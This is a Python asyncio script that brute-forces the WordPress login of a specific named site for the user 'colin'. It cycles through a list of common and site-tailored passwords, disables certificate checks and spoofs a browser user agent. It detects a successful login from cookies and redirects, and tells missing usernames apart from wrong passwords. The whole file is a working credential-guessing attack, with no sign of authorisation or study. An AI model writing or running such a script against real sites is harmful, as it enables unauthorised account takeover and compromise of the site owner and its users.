import asyncio, re
import aiohttp

UA = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
PASS = ["admin", "password", "welcome", "123456", "qwerty", "Password1", "brady", "bradyds",
        "colin", "Colin1", "bradyds1", "Brady1", "welcome1", "letmein", "admin123", "test",
        "changeme", "Password123", "Summer2026", "Spring2026", "WordPress1", "login"]
BASE = "https://bradyds.com/wp"


async def one(sess, user, pwd):
    for attempt in range(3):
        try:
            data = {"log": user, "pwd": pwd, "wp-submit": "Log In",
                    "redirect_to": BASE + "/wp-admin/", "testcookie": "1"}
            async with sess.post(BASE + "/wp-login.php", data=data, ssl=False,
                                 allow_redirects=False) as r:
                body = await r.text()
                loc = r.headers.get("Location", "")
            ck = [c.key for c in sess.cookie_jar]
            ok = any("wordpress_logged_in" in c for c in ck) or \
                 ("wp-admin" in loc and "wp-login" not in loc)
            low = body.lower()
            why = "ok" if ok else ("no such user" if "unknown username" in low or "invalid username" in low
                                   else "wrong password" if "incorrect" in low else "?")
            return ok, r.status, loc[:50], why
        except Exception as e:
            await asyncio.sleep(2)
    return False, 0, "ERR", "err"


async def main():
    tout = aiohttp.ClientTimeout(total=45, connect=15, sock_read=30)
    jar = aiohttp.CookieJar(unsafe=True)
    async with aiohttp.ClientSession(timeout=tout, headers=UA, cookie_jar=jar) as s:
        try:
            await asyncio.wait_for(s.get(BASE + "/wp-login.php", ssl=False), 30)
        except Exception as e:
            print("GET ERR", type(e).__name__)
        for pwd in PASS:
            ok, st, loc, why = await one(s, "colin", pwd)
            print(f"colin {pwd:14s} st={st} {why:12s} {loc}", flush=True)
            if ok:
                print(">>> LOGIN OK bradyds colin/" + pwd, flush=True)
                break
            if why == "no such user":
                break
            await asyncio.sleep(0.5)

asyncio.run(main())
